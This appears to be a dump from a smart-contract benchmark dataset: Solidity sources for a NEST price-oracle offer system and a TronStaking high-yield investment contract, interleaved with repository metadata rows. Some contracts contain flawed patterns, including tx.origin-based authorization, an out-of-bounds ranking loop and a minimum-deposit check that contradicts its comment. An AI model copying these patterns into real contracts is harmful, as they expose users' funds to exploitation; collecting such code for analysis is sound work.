address _feeManager = _address;
feeMGR = feeManager(_feeManager);
}
function changeName(string memory _name,string memory new_name) external {
address _account = msg.sender;
require(nameExists(_account,_name) == true,"name does not exists");
require(nebuLib.addressInList(PROTOaccounts,_account) == true,"you do not hold any Protostars Currently");
PROTOstars[] storage protos = protostars[_account];
PROTOstars storage proto = protos[findFromName(_account,_name)];
proto.name = new_name;
feeMGR.changeName(_name,new_name);
}
function getDeadStarsData(address _account, uint256 _x) external onlyGuard() returns(string memory,uint256,uint256,uint256,uint256,uint256,bool,bool){
DEADStars[] storage deads = deadstars[_account];
DEADStars storage dead = deads[_x];
return (dead.name,dead.creationTime,dead.lastClaimTime,dead.rewards,dead.boost,dead.collapseDate,dead.insolvent,dead.imploded);
}
function protoAccountData(address _account, uint256 _x) external onlyGuard() returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256){
PROTOstars[] storage stars = protostars[_account];
PROTOstars storage star = stars[_x];
return (star.name,star.creationTime,star.lastClaimTime,star.protoElapsed,star.rewards,star.boost,star.protoLife,star.lifeDecrease,star.collapseDate);
}
function protoAccountExists(address _account) external returns (bool) {
return nebuLib.addressInList(PROTOaccounts,_account);
}
function getCollapseDate(address _account,string memory _name) external view returns(uint256) {
PROTOstars[] storage stars = protostars[_account];
PROTOstars storage star = stars[findFromName(_account,_name)];
return star.collapseDate;
}
function getdeadStarsLength(address _account) external view returns(uint256){
DEADStars[] storage deads = deadstars[_account];
return deads.length;
}
function getProtoAccountsLength() external view returns(uint256){
return PROTOaccounts.length;
}
function getProtoAddress(uint256 _x) external view returns(address){
return PROTOaccounts[_x];
}
function getProtoStarsLength(address _account) external view returns(uint256){
PROTOstars[] storage stars = protostars[_account];
return stars.length;
}
function updateTreasury(address payable _treasury) external onlyOwner() {
treasury = _treasury;
}
function updateFeeManager(address _feeManager) external onlyGuard(){
feeMGR = feeManager(_feeManager);
}
function updateRewardsPerMin() external onlyGuard() {
rewardsPerMin = over.getRewardsPerMin();
for(uint i=0;i<3;i++){
boostRewardsPerMin[i] = over.getBoostPerMin(i);
}
}
function updateGuard(address newVal) external onlyOwner {
Guard = newVal; //token swap address
}
function updateManagers(address newVal) external onlyOwner {
if(nebuLib.addressInList(Managers,newVal) ==false){
Managers.push(newVal); //token swap address
}
}
}
| 84,532 | 10,366 |
6faee3e1ad5efde614bd312228c61a2b25035d5fa937d938dacb3d8c32ec7a4e
| 29,507 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xb68f0942c7f821b4367c76597b4cf235639bb282.sol
| 7,062 | 28,948 |
pragma solidity ^0.5.12;
contract NEST_3_OfferData {
mapping (address => bool) addressMapping;
NEST_2_Mapping mappingContract;
constructor(address map) public{
mappingContract = NEST_2_Mapping(map);
}
function changeMapping(address map) public onlyOwner {
mappingContract = NEST_2_Mapping(map);
}
function checkContract(address contractAddress) public view returns (bool){
require(contractAddress != address(0x0));
return addressMapping[contractAddress];
}
function addContractAddress(address contractAddress) public {
require(address(mappingContract.checkAddress("offerFactory")) == msg.sender);
addressMapping[contractAddress] = true;
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
}
contract NEST_3_OfferFactory {
using SafeMath for uint256;
using address_make_payable for address;
mapping(address => bool) tokenAllow;
NEST_2_Mapping mappingContract;
NEST_3_OfferData dataContract;
NEST_2_OfferPrice offerPrice;
NEST_3_OrePoolLogic orePoolLogic;
NEST_NodeAssignment NNcontract;
ERC20 nestToken;
address abonusAddress;
address coderAddress;
uint256 miningETH = 10;
uint256 tranEth = 2;
uint256 blockLimit = 25;
uint256 tranAddition = 2;
uint256 coderAmount = 5;
uint256 NNAmount = 15;
uint256 otherAmount = 80;
uint256 leastEth = 1 ether;
uint256 offerSpan = 1 ether;
event offerTokenContractAddress(address contractAddress);
event offerContractAddress(address contractAddress, address tokenAddress, uint256 ethAmount, uint256 erc20Amount);
event offerTran(address tranSender, address tranToken, uint256 tranAmount,address otherToken, uint256 otherAmount, address tradedContract, address tradedOwner);
constructor (address map) public {
mappingContract = NEST_2_Mapping(map);
offerPrice = NEST_2_OfferPrice(address(mappingContract.checkAddress("offerPrice")));
orePoolLogic = NEST_3_OrePoolLogic(address(mappingContract.checkAddress("miningCalculation")));
abonusAddress = mappingContract.checkAddress("abonus");
nestToken = ERC20(mappingContract.checkAddress("nest"));
NNcontract = NEST_NodeAssignment(address(mappingContract.checkAddress("nodeAssignment")));
coderAddress = mappingContract.checkAddress("coder");
dataContract = NEST_3_OfferData(address(mappingContract.checkAddress("offerData")));
}
function changeMapping(address map) public onlyOwner {
mappingContract = NEST_2_Mapping(map);
offerPrice = NEST_2_OfferPrice(address(mappingContract.checkAddress("offerPrice")));
orePoolLogic = NEST_3_OrePoolLogic(address(mappingContract.checkAddress("miningCalculation")));
abonusAddress = mappingContract.checkAddress("abonus");
nestToken = ERC20(mappingContract.checkAddress("nest"));
NNcontract = NEST_NodeAssignment(address(mappingContract.checkAddress("nodeAssignment")));
coderAddress = mappingContract.checkAddress("coder");
dataContract = NEST_3_OfferData(address(mappingContract.checkAddress("offerData")));
}
function offer(uint256 ethAmount, uint256 erc20Amount, address erc20Address) public payable {
require(address(msg.sender) == address(tx.origin));
uint256 ethMining = ethAmount.mul(miningETH).div(1000);
require(msg.value == ethAmount.add(ethMining));
require(tokenAllow[erc20Address]);
createOffer(ethAmount,erc20Amount,erc20Address,ethMining);
orePoolLogic.oreDrawing.value(ethMining)(erc20Address);
}
function createOffer(uint256 ethAmount, uint256 erc20Amount, address erc20Address, uint256 mining) private {
require(ethAmount >= leastEth);
require(ethAmount % offerSpan == 0);
require(erc20Amount % (ethAmount.div(offerSpan)) == 0);
ERC20 token = ERC20(erc20Address);
require(token.balanceOf(address(msg.sender)) >= erc20Amount);
require(token.allowance(address(msg.sender), address(this)) >= erc20Amount);
NEST_3_OfferContract newContract = new NEST_3_OfferContract(ethAmount,erc20Amount,erc20Address,mining,address(mappingContract));
dataContract.addContractAddress(address(newContract));
emit offerContractAddress(address(newContract), address(erc20Address), ethAmount, erc20Amount);
token.transferFrom(address(msg.sender), address(newContract), erc20Amount);
newContract.offerAssets.value(ethAmount)();
offerPrice.addPrice(ethAmount,erc20Amount,erc20Address);
}
function turnOut(address contractAddress) public {
require(address(msg.sender) == address(tx.origin));
require(dataContract.checkContract(contractAddress));
NEST_3_OfferContract offerContract = NEST_3_OfferContract(contractAddress);
offerContract.turnOut();
uint256 miningEth = offerContract.checkServiceCharge();
uint256 blockNum = offerContract.checkBlockNum();
address tokenAddress = offerContract.checkTokenAddress();
if (miningEth > 0) {
uint256 miningAmount = orePoolLogic.mining(miningEth, blockNum, address(this),tokenAddress);
uint256 coder = miningAmount.mul(coderAmount).div(100);
uint256 NN = miningAmount.mul(NNAmount).div(100);
uint256 other = miningAmount.mul(otherAmount).div(100);
nestToken.transfer(address(tx.origin), other);
require(nestToken.approve(address(NNcontract), NN));
NNcontract.bookKeeping(NN);
nestToken.transfer(coderAddress, coder);
}
}
function ethTran(uint256 ethAmount, uint256 tokenAmount, address contractAddress, uint256 tranEthAmount, uint256 tranTokenAmount, address tranTokenAddress) public payable {
require(address(msg.sender) == address(tx.origin));
require(dataContract.checkContract(contractAddress));
require(ethAmount >= tranEthAmount.mul(tranAddition));
uint256 serviceCharge = tranEthAmount.mul(tranEth).div(1000);
require(msg.value == ethAmount.add(tranEthAmount).add(serviceCharge));
require(tranEthAmount % offerSpan == 0);
createOffer(ethAmount,tokenAmount,tranTokenAddress,0);
NEST_3_OfferContract offerContract = NEST_3_OfferContract(contractAddress);
offerContract.changeOfferEth.value(tranEthAmount)(tranTokenAmount, tranTokenAddress);
offerPrice.changePrice(tranEthAmount,tranTokenAmount,tranTokenAddress,offerContract.checkBlockNum());
emit offerTran(address(tx.origin), address(0x0), tranEthAmount,address(tranTokenAddress),tranTokenAmount,contractAddress,offerContract.checkOwner());
repayEth(abonusAddress,serviceCharge);
}
function ercTran(uint256 ethAmount, uint256 tokenAmount, address contractAddress, uint256 tranEthAmount, uint256 tranTokenAmount, address tranTokenAddress) public payable {
require(address(msg.sender) == address(tx.origin));
require(dataContract.checkContract(contractAddress));
require(ethAmount >= tranEthAmount.mul(tranAddition));
uint256 serviceCharge = tranEthAmount.mul(tranEth).div(1000);
require(msg.value == ethAmount.add(serviceCharge));
require(tranEthAmount % offerSpan == 0);
createOffer(ethAmount,tokenAmount,tranTokenAddress,0);
NEST_3_OfferContract offerContract = NEST_3_OfferContract(contractAddress);
ERC20 token = ERC20(tranTokenAddress);
require(token.balanceOf(address(msg.sender)) >= tranTokenAmount);
require(token.allowance(address(msg.sender), address(this)) >= tranTokenAmount);
token.transferFrom(address(msg.sender), address(offerContract), tranTokenAmount);
offerContract.changeOfferErc(tranEthAmount,tranTokenAmount, tranTokenAddress);
offerPrice.changePrice(tranEthAmount,tranTokenAmount,tranTokenAddress,offerContract.checkBlockNum());
emit offerTran(address(tx.origin),address(tranTokenAddress),tranTokenAmount, address(0x0), tranEthAmount,contractAddress,offerContract.checkOwner());
repayEth(abonusAddress,serviceCharge);
}
function repayEth(address accountAddress, uint256 asset) private {
address payable addr = accountAddress.make_payable();
addr.transfer(asset);
}
function checkBlockLimit() public view returns(uint256) {
return blockLimit;
}
function checkMiningETH() public view returns (uint256) {
return miningETH;
}
function checkTranEth() public view returns (uint256) {
return tranEth;
}
function checkTokenAllow(address token) public view returns(bool) {
return tokenAllow[token];
}
function checkTranAddition() public view returns(uint256) {
return tranAddition;
}
function checkCoderAmount() public view returns(uint256) {
return coderAmount;
}
function checkNNAmount() public view returns(uint256) {
return NNAmount;
}
function checkOtherAmount() public view returns(uint256) {
return otherAmount;
}
function checkleastEth() public view returns(uint256) {
return leastEth;
}
function checkOfferSpan() public view returns(uint256) {
return offerSpan;
}
function changeMiningETH(uint256 num) public onlyOwner {
miningETH = num;
}
function changeTranEth(uint256 num) public onlyOwner {
tranEth = num;
}
function changeBlockLimit(uint256 num) public onlyOwner {
blockLimit = num;
}
function changeTokenAllow(address token, bool allow) public onlyOwner {
tokenAllow[token] = allow;
}
function changeTranAddition(uint256 num) public onlyOwner {
require(num > 0);
tranAddition = num;
}
function changeInitialRatio(uint256 coderNum, uint256 NNNum, uint256 otherNum) public onlyOwner {
require(coderNum > 0 && coderNum <= 5);
require(NNNum > 0 && coderNum <= 15);
require(coderNum.add(NNNum).add(otherNum) == 100);
coderAmount = coderNum;
NNAmount = NNNum;
otherAmount = otherNum;
}
function changeLeastEth(uint256 num) public onlyOwner {
require(num > 0);
leastEth = num;
}
function changeOfferSpan(uint256 num) public onlyOwner {
require(num > 0);
offerSpan = num;
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
}
contract NEST_3_OfferContract {
using SafeMath for uint256;
using address_make_payable for address;
address owner;
uint256 ethAmount;
uint256 tokenAmount;
address tokenAddress;
uint256 dealEthAmount;
uint256 dealTokenAmount;
uint256 blockNum;
uint256 serviceCharge;
bool hadReceive = false;
NEST_2_Mapping mappingContract;
NEST_3_OfferFactory offerFactory;
constructor (uint256 _ethAmount, uint256 _tokenAmount, address _tokenAddress, uint256 miningEth,address map) public {
mappingContract = NEST_2_Mapping(address(map));
offerFactory = NEST_3_OfferFactory(address(mappingContract.checkAddress("offerFactory")));
require(msg.sender == address(offerFactory));
owner = address(tx.origin);
ethAmount = _ethAmount;
tokenAmount = _tokenAmount;
tokenAddress = _tokenAddress;
dealEthAmount = _ethAmount;
dealTokenAmount = _tokenAmount;
serviceCharge = miningEth;
blockNum = block.number;
}
function offerAssets() public payable onlyFactory {
require(ERC20(tokenAddress).balanceOf(address(this)) == tokenAmount);
}
function changeOfferEth(uint256 _tokenAmount, address _tokenAddress) public payable onlyFactory {
require(checkContractState() == 0);
require(dealEthAmount >= msg.value);
require(dealTokenAmount >= _tokenAmount);
require(_tokenAddress == tokenAddress);
require(_tokenAmount == dealTokenAmount.mul(msg.value).div(dealEthAmount));
ERC20(tokenAddress).transfer(address(tx.origin), _tokenAmount);
dealEthAmount = dealEthAmount.sub(msg.value);
dealTokenAmount = dealTokenAmount.sub(_tokenAmount);
}
function changeOfferErc(uint256 _ethAmount, uint256 _tokenAmount, address _tokenAddress) public onlyFactory {
require(checkContractState() == 0);
require(dealEthAmount >= _ethAmount);
require(dealTokenAmount >= _tokenAmount);
require(_tokenAddress == tokenAddress);
require(_tokenAmount == dealTokenAmount.mul(_ethAmount).div(dealEthAmount));
repayEth(address(tx.origin), _ethAmount);
dealEthAmount = dealEthAmount.sub(_ethAmount);
dealTokenAmount = dealTokenAmount.sub(_tokenAmount);
}
function repayEth(address accountAddress, uint256 asset) private {
address payable addr = accountAddress.make_payable();
addr.transfer(asset);
}
function turnOut() public onlyFactory {
require(address(tx.origin) == owner);
require(checkContractState() == 1);
require(hadReceive == false);
uint256 ethAssets;
uint256 tokenAssets;
(ethAssets, tokenAssets,) = checkAssets();
repayEth(owner, ethAssets);
ERC20(address(tokenAddress)).transfer(owner, tokenAssets);
hadReceive = true;
}
function checkContractState() public view returns (uint256) {
if (block.number.sub(blockNum) > offerFactory.checkBlockLimit()) {
return 1;
}
return 0;
}
function checkDealAmount() public view returns(uint256 leftEth, uint256 leftErc20, address erc20Address) {
return (dealEthAmount, dealTokenAmount, tokenAddress);
}
function checkPrice() public view returns(uint256 _ethAmount, uint256 _tokenAmount, address _tokenAddress) {
return (ethAmount, tokenAmount, tokenAddress);
}
function checkAssets() public view returns(uint256 _ethAmount, uint256 _tokenAmount, address _tokenAddress) {
return (address(this).balance, ERC20(address(tokenAddress)).balanceOf(address(this)), address(tokenAddress));
}
function checkTokenAddress() public view returns(address){
return tokenAddress;
}
function checkOwner() public view returns(address) {
return owner;
}
function checkBlockNum() public view returns (uint256) {
return blockNum;
}
function checkServiceCharge() public view returns(uint256) {
return serviceCharge;
}
function checkHadReceive() public view returns(bool) {
return hadReceive;
}
modifier onlyFactory(){
require(msg.sender == address(offerFactory));
_;
}
}
contract NEST_2_OfferPrice{
using SafeMath for uint256;
using address_make_payable for address;
NEST_2_Mapping mappingContract;
NEST_3_OfferFactory offerFactory;
struct Price {
uint256 ethAmount;
uint256 erc20Amount;
uint256 blockNum;
}
struct addressPrice {
mapping(uint256 => Price) tokenPrice;
Price latestPrice;
}
mapping(address => addressPrice) tokenInfo;
uint256 priceCost = 0.01 ether;
uint256 priceCostUser = 2;
uint256 priceCostAbonus = 8;
mapping(uint256 => mapping(address => address)) blockAddress;
address abonusAddress;
event nowTokenPrice(address a, uint256 b, uint256 c);
constructor (address map) public {
mappingContract = NEST_2_Mapping(address(map));
offerFactory = NEST_3_OfferFactory(address(mappingContract.checkAddress("offerFactory")));
abonusAddress = address(mappingContract.checkAddress("abonus"));
}
function changeMapping(address map) public onlyOwner {
mappingContract = NEST_2_Mapping(map);
offerFactory = NEST_3_OfferFactory(address(mappingContract.checkAddress("offerFactory")));
abonusAddress = address(mappingContract.checkAddress("abonus"));
}
function addPrice(uint256 _ethAmount, uint256 _tokenAmount, address _tokenAddress) public onlyFactory {
uint256 blockLimit = offerFactory.checkBlockLimit();
uint256 middleBlock = block.number.sub(blockLimit);
uint256 priceBlock = tokenInfo[_tokenAddress].latestPrice.blockNum;
while(priceBlock >= middleBlock || tokenInfo[_tokenAddress].tokenPrice[priceBlock].ethAmount == 0){
priceBlock = tokenInfo[_tokenAddress].tokenPrice[priceBlock].blockNum;
if (priceBlock == 0) {
break;
}
}
tokenInfo[_tokenAddress].latestPrice.ethAmount = tokenInfo[_tokenAddress].tokenPrice[priceBlock].ethAmount;
tokenInfo[_tokenAddress].latestPrice.erc20Amount = tokenInfo[_tokenAddress].tokenPrice[priceBlock].erc20Amount;
tokenInfo[_tokenAddress].tokenPrice[block.number].ethAmount = tokenInfo[_tokenAddress].tokenPrice[block.number].ethAmount.add(_ethAmount);
tokenInfo[_tokenAddress].tokenPrice[block.number].erc20Amount = tokenInfo[_tokenAddress].tokenPrice[block.number].erc20Amount.add(_tokenAmount);
if (tokenInfo[_tokenAddress].latestPrice.blockNum != block.number) {
tokenInfo[_tokenAddress].tokenPrice[block.number].blockNum = tokenInfo[_tokenAddress].latestPrice.blockNum;
tokenInfo[_tokenAddress].latestPrice.blockNum = block.number;
}
blockAddress[block.number][_tokenAddress] = address(tx.origin);
emit nowTokenPrice(_tokenAddress,tokenInfo[_tokenAddress].latestPrice.ethAmount, tokenInfo[_tokenAddress].latestPrice.erc20Amount);
}
function updateAndCheckPriceNow(address _tokenAddress) public payable returns(uint256 ethAmount, uint256 erc20Amount, address token) {
if (msg.sender != tx.origin && msg.sender != address(offerFactory)) {
require(msg.value == priceCost);
}
uint256 blockLimit = offerFactory.checkBlockLimit();
uint256 middleBlock = block.number.sub(blockLimit);
uint256 priceBlock = tokenInfo[_tokenAddress].latestPrice.blockNum;
while(priceBlock >= middleBlock || tokenInfo[_tokenAddress].tokenPrice[priceBlock].ethAmount == 0){
priceBlock = tokenInfo[_tokenAddress].tokenPrice[priceBlock].blockNum;
if (priceBlock == 0) {
break;
}
}
tokenInfo[_tokenAddress].latestPrice.ethAmount = tokenInfo[_tokenAddress].tokenPrice[priceBlock].ethAmount;
tokenInfo[_tokenAddress].latestPrice.erc20Amount = tokenInfo[_tokenAddress].tokenPrice[priceBlock].erc20Amount;
if (msg.value > 0) {
repayEth(abonusAddress, msg.value.mul(priceCostAbonus).div(10));
repayEth(blockAddress[priceBlock][_tokenAddress], msg.value.mul(priceCostUser).div(10));
}
return (tokenInfo[_tokenAddress].latestPrice.ethAmount,tokenInfo[_tokenAddress].latestPrice.erc20Amount, _tokenAddress);
}
function repayEth(address accountAddress, uint256 asset) private {
address payable addr = accountAddress.make_payable();
addr.transfer(asset);
}
function changePrice(uint256 _ethAmount, uint256 _tokenAmount, address _tokenAddress, uint256 blockNum) public onlyFactory {
tokenInfo[_tokenAddress].tokenPrice[blockNum].ethAmount = tokenInfo[_tokenAddress].tokenPrice[blockNum].ethAmount.sub(_ethAmount);
tokenInfo[_tokenAddress].tokenPrice[blockNum].erc20Amount = tokenInfo[_tokenAddress].tokenPrice[blockNum].erc20Amount.sub(_tokenAmount);
}
function checkPriceForBlock(address tokenAddress, uint256 blockNum) public view returns (uint256 ethAmount, uint256 erc20Amount, uint256 frontBlock) {
require(msg.sender == tx.origin);
return (tokenInfo[tokenAddress].tokenPrice[blockNum].ethAmount, tokenInfo[tokenAddress].tokenPrice[blockNum].erc20Amount,tokenInfo[tokenAddress].tokenPrice[blockNum].blockNum);
}
function checkPriceNow(address tokenAddress) public view returns (uint256 ethAmount, uint256 erc20Amount,uint256 frontBlock) {
require(msg.sender == tx.origin);
return (tokenInfo[tokenAddress].latestPrice.ethAmount,tokenInfo[tokenAddress].latestPrice.erc20Amount,tokenInfo[tokenAddress].latestPrice.blockNum);
}
function checkPriceHistoricalAverage(address tokenAddress, uint256 blockNum) public view returns (uint256) {
require(msg.sender == tx.origin);
uint256 blockLimit = offerFactory.checkBlockLimit();
uint256 middleBlock = block.number.sub(blockLimit);
uint256 priceBlock = tokenInfo[tokenAddress].latestPrice.blockNum;
while(priceBlock >= middleBlock){
priceBlock = tokenInfo[tokenAddress].tokenPrice[priceBlock].blockNum;
if (priceBlock == 0) {
break;
}
}
uint256 frontBlock = priceBlock;
uint256 price = 0;
uint256 priceTimes = 0;
while(frontBlock >= blockNum){
uint256 erc20Amount = tokenInfo[tokenAddress].tokenPrice[frontBlock].erc20Amount;
uint256 ethAmount = tokenInfo[tokenAddress].tokenPrice[frontBlock].ethAmount;
price = price.add(erc20Amount.mul(1 ether).div(ethAmount));
priceTimes = priceTimes.add(1);
frontBlock = tokenInfo[tokenAddress].tokenPrice[frontBlock].blockNum;
if (frontBlock == 0) {
break;
}
}
return price.div(priceTimes);
}
function checkPriceForBlockPay(address tokenAddress, uint256 blockNum) public payable returns (uint256 ethAmount, uint256 erc20Amount, uint256 frontBlock) {
require(msg.value == priceCost);
require(tokenInfo[tokenAddress].tokenPrice[blockNum].ethAmount != 0);
repayEth(abonusAddress, msg.value.mul(priceCostAbonus).div(10));
repayEth(blockAddress[blockNum][tokenAddress], msg.value.mul(priceCostUser).div(10));
return (tokenInfo[tokenAddress].tokenPrice[blockNum].ethAmount, tokenInfo[tokenAddress].tokenPrice[blockNum].erc20Amount,tokenInfo[tokenAddress].tokenPrice[blockNum].blockNum);
}
function checkPriceHistoricalAveragePay(address tokenAddress, uint256 blockNum) public payable returns (uint256) {
require(msg.value == priceCost);
uint256 blockLimit = offerFactory.checkBlockLimit();
uint256 middleBlock = block.number.sub(blockLimit);
uint256 priceBlock = tokenInfo[tokenAddress].latestPrice.blockNum;
while(priceBlock >= middleBlock){
priceBlock = tokenInfo[tokenAddress].tokenPrice[priceBlock].blockNum;
if (priceBlock == 0) {
break;
}
}
repayEth(abonusAddress, msg.value.mul(priceCostAbonus).div(10));
repayEth(blockAddress[priceBlock][tokenAddress], msg.value.mul(priceCostUser).div(10));
uint256 frontBlock = priceBlock;
uint256 price = 0;
uint256 priceTimes = 0;
while(frontBlock >= blockNum){
uint256 erc20Amount = tokenInfo[tokenAddress].tokenPrice[frontBlock].erc20Amount;
uint256 ethAmount = tokenInfo[tokenAddress].tokenPrice[frontBlock].ethAmount;
price = price.add(erc20Amount.mul(1 ether).div(ethAmount));
priceTimes = priceTimes.add(1);
frontBlock = tokenInfo[tokenAddress].tokenPrice[frontBlock].blockNum;
if (frontBlock == 0) {
break;
}
}
return price.div(priceTimes);
}
function checkLatestBlock(address token) public view returns(uint256) {
return tokenInfo[token].latestPrice.blockNum;
}
function changePriceCost(uint256 amount) public onlyOwner {
require(amount > 0);
priceCost = amount;
}
function checkPriceCost() public view returns(uint256) {
return priceCost;
}
function changePriceCostProportion(uint256 user, uint256 abonus) public onlyOwner {
require(user.add(abonus) == 10);
priceCostUser = user;
priceCostAbonus = abonus;
}
function checkPriceCostProportion() public view returns(uint256 user, uint256 abonus) {
return (priceCostUser, priceCostAbonus);
}
modifier onlyFactory(){
require(msg.sender == address(mappingContract.checkAddress("offerFactory")));
_;
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
}
contract NEST_NodeAssignment {
function bookKeeping(uint256 amount) public;
}
contract NEST_3_OrePoolLogic {
function oreDrawing(address token) public payable;
function mining(uint256 amount, uint256 blockNum, address target, address token) public returns(uint256);
}
contract NEST_2_Mapping {
function checkAddress(string memory name) public view returns (address contractAddress);
function checkOwners(address man) public view returns (bool);
}
library address_make_payable {
function make_payable(address x) internal pure returns (address payable) {
return address(uint160(x));
}
}
contract ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint _allowance);
function transfer(address to, uint256 value) external;
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 165,226 | 10,367 |
32520cfcf414805698f9a0a4098a40b1000e95816486a8941a0ac7317ce5743a
| 25,718 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRQSXw18XeyMDdGVkNwDZXsLCNp1ANPyX9_TronStaking.sol
| 7,259 | 24,429 |
//SourceUnit: TronStaking.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.7.0;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronStaking is Ownable{
uint256 overall_invested;
struct User{
bool referred;
address referred_by;
uint256 total_invested_amount;
uint256 profit_remaining;
uint256 referal_profit;
}
struct Referal_levels{
uint256 level_1;
uint256 level_2;
uint256 level_3;
uint256 level_4;
uint256 level_5;
uint256 level_6;
uint256 level_7;
uint256 level_8;
}
struct Panel_1{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
}
struct Panel_2{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
}
struct Panel_3{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
}
struct Panel_4{
uint256 invested_amount;
uint256 profit;
uint256 profit_withdrawn;
uint256 start_time;
uint256 exp_time;
bool time_started;
}
mapping(address => Panel_1) public panel_1;
mapping(address => Panel_2) public panel_2;
mapping(address => Panel_3) public panel_3;
mapping(address => Panel_4) public panel_4;
mapping(address => User) public user_info;
mapping(address => Referal_levels) public refer_info;
mapping(uint8 => address) public top_10_investors;
function top_10() public{
for(uint8 i=0; i<10; i++){
if(top_10_investors[i] == msg.sender){
for(uint8 j=i ; j<11;j++){
top_10_investors[j] = top_10_investors[j+1];
}
}
}
for(uint8 i=0;i<10;i++){
if(user_info[top_10_investors[i]].total_invested_amount < user_info[msg.sender].total_invested_amount){
for(uint8 j = 10;j > i;j--){
top_10_investors[j] = top_10_investors[j-1];
}
top_10_investors[i] = msg.sender;
return;
}
}
}
// -------------------- PANEL 1 -------------------------------
// 6% : 45days
function invest_panel1() public payable {
require(msg.value>=50, 'Please Enter Amount no less than 50');
if(panel_1[msg.sender].time_started == false){
panel_1[msg.sender].start_time = now;
panel_1[msg.sender].time_started = true;
panel_1[msg.sender].exp_time = now + 45 days; // 45*24*60*60
}
panel_1[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
overall_invested = overall_invested + msg.value;
referral_system(msg.value);
top_10();
//neg
if(panel1_days() <= 45){
panel_1[msg.sender].profit += ((msg.value*(6)*(45 - panel1_days()))/(100)); //prof * 45
}
}
function is_plan_completed_p1() public view returns(bool){
if(panel_1[msg.sender].exp_time != 0){
if(now >= panel_1[msg.sender].exp_time){
return true;
}
if(now < panel_1[msg.sender].exp_time){
return false;
}
}else{
return false;
}
}
function plan_completed_p1() public returns(bool){
if(panel_1[msg.sender].exp_time != 0){
if(now >= panel_1[msg.sender].exp_time){
reset_panel_1();
return true;
}
if(now < panel_1[msg.sender].exp_time){
return false;
}
}
}
function current_profit_p1() public view returns(uint256){
uint256 local_profit ;
if(now <= panel_1[msg.sender].exp_time){
if((((panel_1[msg.sender].profit + panel_1[msg.sender].profit_withdrawn)*(now-panel_1[msg.sender].start_time))/(30*(1 days))) > panel_1[msg.sender].profit_withdrawn){ // 30*1 days
local_profit = (((panel_1[msg.sender].profit + panel_1[msg.sender].profit_withdrawn)*(now-panel_1[msg.sender].start_time))/(30*(1 days))) - panel_1[msg.sender].profit_withdrawn; // 30* 1 days
return local_profit;
}else{
return 0;
}
}
if(now > panel_1[msg.sender].exp_time){
return panel_1[msg.sender].profit;
}
}
function panel1_days() public view returns(uint256){
if(panel_1[msg.sender].time_started == true){
return ((now - panel_1[msg.sender].start_time)/(1 days)); //change to 24*60*60
}
else {
return 0;
}
}
function withdraw_profit_panel1(uint256 amount) public payable {
uint256 current_profit = current_profit_p1();
require(amount <= current_profit, ' Amount sould be less than profit');
panel_1[msg.sender].profit_withdrawn = panel_1[msg.sender].profit_withdrawn + amount;
//neg
panel_1[msg.sender].profit = panel_1[msg.sender].profit - amount;
msg.sender.transfer(amount);
}
function is_valid_time() public view returns(bool){
if(panel_1[msg.sender].time_started == true){
return (now > l_l1())&&(now < u_l1());
}
else{
return true;
}
}
function l_l1() public view returns(uint256){
if(panel_1[msg.sender].time_started == true){
return (1 days)*panel1_days() + panel_1[msg.sender].start_time; // 24*60*60 = 1 days
}else{
return now;
}
}
function u_l1() public view returns(uint256){
if(panel_1[msg.sender].time_started == true){
return ((1 days)*panel1_days() + panel_1[msg.sender].start_time + 8 hours);
}else {
return now + (8 hours); // 8*60*60 8 hours
}
}
function reset_panel_1() private{
user_info[msg.sender].profit_remaining += panel_1[msg.sender].profit;
panel_1[msg.sender].invested_amount = 0;
panel_1[msg.sender].profit = 0;
panel_1[msg.sender].profit_withdrawn = 0;
panel_1[msg.sender].start_time = 0;
panel_1[msg.sender].exp_time = 0;
panel_1[msg.sender].time_started = false;
}
// --------------------------------- PANEL 2 ----------------------
// 8% : 30days
function invest_panel2() public payable {
// 50,000,000 = 50 trx
require(msg.value>=50, 'Please Enter Amount no less than 50');
if(panel_2[msg.sender].time_started == false){
panel_2[msg.sender].start_time = now;
panel_2[msg.sender].time_started = true;
panel_2[msg.sender].exp_time = now + 30 days; // 30*24*60*60 = 30 days
}
panel_2[msg.sender].invested_amount += msg.value;
user_info[msg.sender].total_invested_amount += msg.value;
overall_invested = overall_invested + msg.value;
